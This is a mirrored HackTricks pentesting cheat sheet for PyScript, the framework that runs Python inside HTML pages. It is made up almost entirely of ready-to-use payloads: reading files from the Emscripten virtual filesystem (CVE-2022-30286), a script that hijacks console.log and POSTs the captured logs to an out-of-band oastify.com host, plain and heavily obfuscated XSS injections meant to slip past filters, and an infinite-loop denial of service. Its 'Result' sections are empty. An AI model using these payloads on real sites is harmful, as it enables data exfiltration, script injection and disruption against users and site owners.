mirror of
https://github.com/carlospolop/hacktricks
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139 lines
6.3 KiB
Markdown
139 lines
6.3 KiB
Markdown
# Pyscript
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## PyScript Pentesting Guide
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PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.
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### Dumping / Retrieving files from the Emscripten virtual memory filesystem:
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`CVE ID: CVE-2022-30286`\
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\
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Code:
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```html
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<py-script>
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with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
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out = fin.read()
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print(out)
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</py-script>
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```
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Result:
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### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
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`CVE ID: CVE-2022-30286`\
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\
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Code:
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```html
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<py-script>
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x = "CyberGuy"
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if x == "CyberGuy":
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with open('/lib/python3.10/asyncio/tasks.py') as output:
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contents = output.read()
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print(contents)
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print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
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</py-script>
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```
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Result:
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### Cross Site Scripting (Ordinary)
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Code:
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```python
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<py-script>
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print("<img src=x onerror='alert(document.domain)'>")
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</py-script>
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```
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Result:
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### Cross Site Scripting (Python Obfuscated)
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Code:
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```python
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<py-script>
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sur = "\u0027al";fur = "e";rt = "rt"
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p = "\x22x$$\x22\x29\u0027\x3E"
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s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
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e = "c\u003d";q = "x"
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y = "o";m = "ner";z = "ror\u003d"
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print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
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</py-script>
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```
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Result:
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### Cross Site Scripting (JavaScript Obfuscation)
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Code:
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```html
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<py-script>
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prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
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</py-script>
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```
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Result:
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### DoS attack (Infinity loop)
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Code:
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```html
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<py-script>
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while True:
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print(" ")
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</py-script>
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```
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Result:
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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